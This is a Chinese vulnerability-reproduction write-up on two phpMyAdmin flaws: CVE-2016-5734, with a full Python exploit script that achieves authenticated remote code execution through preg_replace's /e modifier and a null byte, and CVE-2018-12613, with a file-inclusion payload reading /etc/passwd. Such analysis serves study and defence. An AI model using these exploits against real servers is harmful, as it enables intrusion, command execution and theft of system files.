phpmyadmin的几个漏洞复现

phpMyAdmin 是众多 MySQL图形化管理工具中使用最为广泛的一种,是一款使用PHP 开发的基于B/S模式的 MySQL 客户端软件

phpMyAdmin 为Web 开发人员提供了类似 Access,SQL Server 的图形化数据库操作界面,通过该管理工具可以对 MySQL 进行各种操作,如何创建数据库,数据表和生成 MySQL 数据库脚本文件等。

CVE-2016-5734 Phpmyadmin后台代码执行漏洞

主要是利用在php 5.4.7之前的版本中preg_replace函数对空字节的错误处理Bug,使注入的代码可远程执行.

影响版本

  • 4.6.x 版本(直至 4.6.3)
  • 4.4.x 版本(直至 4.4.15.7)
  • 4.0.x 版本(直至 4.0.10.16)
  • php版本: 4.3.0 ~5.4.6

php5.0以上将/e模式废弃了

漏洞分析

preg_replace() 函数有个被弃用的修饰符\e,如果设置这个修饰符,preg_replace() 在进行了对替换字符串的替换之后, 将替换后的字符串作为php 代码进行执行,并使用执行结果 作为实际参与替换的字符串。

语法

1
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。

参数说明:

  • $pattern: 要搜索的模式,可以是字符串或一个字符串数组。
  • $replacement: 用于替换的字符串或字符串数组。
  • $subject: 要搜索替换的目标字符串或字符串数组。
  • $limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
  • $count: 可选,为替换执行的次数

返回值

如果 subject 是一个数组, preg_replace() 返回一个数组, 其他情况下返回一个字符串。

如果匹配被查找到,替换后的 subject 被返回,其他情况下 返回没有改变的 subject。如果发生错误,返回 NULL。

漏洞利用前提

  1. 知道phpMyAdmin的路径,并且可以使用账号密码登录成功
  2. 知道对应db的table,或者在db中有创建table的权限

漏洞利用点

本漏洞利用的是在/libraries/TableSearch.class.php中的preg_replace函数

phpmyadmin%E7%9A%84%E5%87%A0%E4%B8%AA%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%20830a78be83a34810b86061b7eada5da0/Untitled.png

preg_replace_getRegexReplaceRows中被使用,而_getRegexReplaceRows则是被调用于getReplacePreview,可以看到preg_replace调用了三个参数分别是find,replaceWith,row[0],接下来要对这三个参数进行溯源

phpmyadmin%E7%9A%84%E5%87%A0%E4%B8%AA%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%20830a78be83a34810b86061b7eada5da0/Untitled%201.png

并且参数find与参数replacement都是经过该方法所传递的,

接着溯源发现getReplacePreviewtbl_find_replace.php中被使用,同时 findreplaceWith参数经POST方法进行传递

tbl_find_replace.php提供的查找并替换数据表的功能/该功能时针对某一数据库中的数据表进行的查询功能

phpmyadmin%E7%9A%84%E5%87%A0%E4%B8%AA%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%20830a78be83a34810b86061b7eada5da0/Untitled%202.png

其中查找对应find,替换为对应replaceWith,于是前两个参数都发现是可控的,接下来就差row[0]这个参数了

phpmyadmin%E7%9A%84%E5%87%A0%E4%B8%AA%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%20830a78be83a34810b86061b7eada5da0/Untitled%203.png

可以看到row来自result

phpmyadmin%E7%9A%84%E5%87%A0%E4%B8%AA%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%20830a78be83a34810b86061b7eada5da0/Untitled%204.png

result来自Sql_query

接着跟sql_query

phpmyadmin%E7%9A%84%E5%87%A0%E4%B8%AA%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%20830a78be83a34810b86061b7eada5da0/Untitled%205.png

sql语句大概整理如下

1
2
3
4
5
6
SELECT $columnname ,1,cont(*) 
FROM database.table_name 
WHERE $columnname RLIKE ‘$find 
COLLATE $charset_bin 
GROUP BY $columnname 
ORDER BY $column ASC;

并将这个查询后的值作为键值对的第一个值给了 preg_replace函数的作为第三个参数。

PMA_TableSearch类的构造方法

phpmyadmin%E7%9A%84%E5%87%A0%E4%B8%AA%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%20830a78be83a34810b86061b7eada5da0/Untitled%206.png

tbl_find_replace.php使用了这个类

phpmyadmin%E7%9A%84%E5%87%A0%E4%B8%AA%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%20830a78be83a34810b86061b7eada5da0/Untitled%207.png

接下来回溯dbtable两个参数

发现在 /libraries/common.inc.php 中有定义

phpmyadmin%E7%9A%84%E5%87%A0%E4%B8%AA%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%20830a78be83a34810b86061b7eada5da0/Untitled%208.png

发现可以通过request方法来接收变量将他变成全局变量

db即为数据库,table为数据表,所以第三个参数row[0],经过对刚刚sql语句的分析,获取到的内容为指定数据库的指定数据表内的第一个字段值 ,至此三个参数均可控制

漏洞利用

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
#!/usr/bin/env python

"""cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit
Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7.
CVE: CVE-2016-5734
Author: https://twitter.com/iamsecurity
run: ./cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"
"""

import requests
import argparse
import sys

__author__ = "@iamsecurity"

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument("url", type=str, help="URL with path to PMA")
    parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")
    parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")
    parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")
    parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")
    parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")
    arguments = parser.parse_args()
    url_to_pma = arguments.url
    uname = arguments.user
    upass = arguments.pwd
    if arguments.dbs:
        db = arguments.dbs
    else:
        db = "test"
    token = False
    custom_table = False
    if arguments.table:
        custom_table = True
        table = arguments.table
    else:
        table = "prgpwn"
    if arguments.cmd:
        payload = arguments.cmd
    else:
        payload = "system('uname -a');"

    size = 32
    s = requests.Session()
    # you can manually add proxy support it's very simple ;)
    # s.proxies = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"}
    s.verify = False
    sql = '''CREATE TABLE `{0}` (
      `first` varchar(10) CHARACTER SET utf8 NOT NULL
    ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
    INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));
    '''.format(table)

    # get_token
    resp = s.post(url_to_pma + "/?lang=en", dict(
        pma_username=uname,
        pma_password=upass
    ))
    if resp.status_code is 200:
        token_place = resp.text.find("token=") + 6
        token = resp.text[token_place:token_place + 32]
    if token is False:
        print("Cannot get valid authorization token.")
        sys.exit(1)

    if custom_table is False:
        data = {
            "is_js_confirmed": "0",
            "db": db,
            "token": token,
            "pos": "0",
            "sql_query": sql,
            "sql_delimiter": ";",
            "show_query": "0",
            "fk_checks": "0",
            "SQL": "Go",
            "ajax_request": "true",
            "ajax_page_request": "true",
        }
        resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))
        if resp.status_code == 200:
            if "success" in resp.json():
                if resp.json()["success"] is False:
                    first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]
                    error = first[:first.find("</code>")]
                    if "already exists" in error:
                        print(error)
                    else:
                        print("ERROR: " + error)
                        sys.exit(1)
    # build exploit
    exploit = {
        "db": db,
        "table": table,
        "token": token,
        "goto": "sql.php",
        "find": "0/e\0",
        "replaceWith": payload,
        "columnIndex": "0",
        "useRegex": "on",
        "submit": "Go",
        "ajax_request": "true"
    }
    resp = s.post(
        url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)
    )
    if resp.status_code == 200:
        result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]
        if len(result):
            print("result: " + result)
            sys.exit(0)
        print(
            "Exploit failed!\n"
            "Try to manually set exploit parameters like --table, --database and --token.\n"
            "Remember that servers with PHP version greater than 5.4.6"
            " is not exploitable, because of warning about null byte in regexp"
        )
        sys.exit(1)

用exp-db的exp可以直接打大概是先建好一个名为prgpwn的数据库再在里面建一个叫first的字段,这样就知道了db对应的table,接了下来就利用%00截断来使preg_replace被e修饰符所修饰

即使用find=0/e\0,replaceWith=payload

phpmyadmin%E7%9A%84%E5%87%A0%E4%B8%AA%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%20830a78be83a34810b86061b7eada5da0/Untitled%209.png

最终类似于执行

1
2
3
<?php
echo preg_replace("/0/e","system('xxxx');","0/e");
?>

CVE-2018-12613本地文件包含漏洞

影响版本

  • phpmyadmin 4.8.0
  • phpmyadmin 4.8.0.1
  • phpmyadmin 4.8.1

漏洞分析

漏洞利用点在index.php里的以下代码

phpmyadmin%E7%9A%84%E5%87%A0%E4%B8%AA%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%20830a78be83a34810b86061b7eada5da0/Untitled%2010.png

target可以传入一个值,然后可以利用这个target来进行文件包含,用来达到本地文件包含

想要达到这个目的,那么target需要满足&&后面的几个条件,即以下条件

  • 不能为空
  • 是字符串
  • 不能以index开头
  • 不在黑名单target_blacklist
  • 可以通过函数checkPageValidity的验证

黑名单要求参数不是import.phpexport.php 就行

接下来那就来看看checkPageValidity函数是怎么验证的

函数定义在\libraries\classes\Core.php

phpmyadmin%E7%9A%84%E5%87%A0%E4%B8%AA%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%20830a78be83a34810b86061b7eada5da0/Untitled%2011.png

要通过验证,既要函数返回true

则包含的文件必须包含在白名单whitelist

那我们先去看看白名单有啥

phpmyadmin%E7%9A%84%E5%87%A0%E4%B8%AA%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%20830a78be83a34810b86061b7eada5da0/Untitled%2012.png

接下来分析以下check函数几种返回true的情况,看看有没有可以利用的

第一个是直接看在不在白名单里,没有操作空间

phpmyadmin%E7%9A%84%E5%87%A0%E4%B8%AA%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%20830a78be83a34810b86061b7eada5da0/Untitled%2013.png

再来看看第二个

phpmyadmin%E7%9A%84%E5%87%A0%E4%B8%AA%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%20830a78be83a34810b86061b7eada5da0/Untitled%2014.png

这里涉及两个函数mb_substr和mb_strpos

mb_substr的定义,简单来说这个函数就是获取子字符串

1
2
3
4
5
6
mb_substr(
    string $str,
    int $start,
    int $length = NULL,
    string $encoding = mb_internal_encoding()
): string

参数解释

  • **str**从该 string 中提取子字符串。
  • **start**如果 start 不是负数,返回的字符串会从 str 第 start 的位置开始,从 0 开始计数。举个例子,字符串 ‘abcdef’,位置 0 的字符是 ‘a’,位置 2 的字符是 ‘c’,以此类推。 如果 start 是负数,返回的字符串是从 str 末尾处第 start 个字符开始的。
  • length str 中要使用的最大字符数。如果省略了此参数或者传入了 NULL,则会提取到字符串的尾部。
  • encoding encoding 参数为字符编码。如果省略或是 null,则使用内部字符编码。

返回值

mb_substr() 函数根据 start 和 length 参数返回 str 中指定的部分。

而mb_strpos,简单来说就是查找字符串在另一个字符串中首次出现的位置

1
2
3
4
5
6
mb_strpos(
    string $haystack,
    string $needle,
    int $offset = 0,
    string $encoding = mb_internal_encoding()
): int

参数解释

  • **haystack**要被检查的 string。
  • **needle**在 haystack 中查找这个字符串。 和 strpos() 不同的是,数字的值不会被当做字符的顺序值。
  • **offset**搜索位置的偏移。如果没有提供该参数,将会使用 0。负数的 offset 会从字符串尾部开始统计。
  • encoding 参数为字符编码。如果省略或是 null,则使用内部字符编码。

返回值

返回 string 的 haystack 中 needle 首次出现位置的数值。 如果没有找到 needle,它将返回 false。

了解两个函数以后,那这个返回true的条件就是?后面的字符串要满足白名单,也暂时无法找到利用方法

于是来看第三个返回true

Untitled

比起第二个返回true的地方,多了一个urldecode函数

那就简单了这里用url全编码方式对?进行编码就可以绕过。

1
payload:/index.php?target=db_sql.php%3f/../../../../../../../../etc/passwd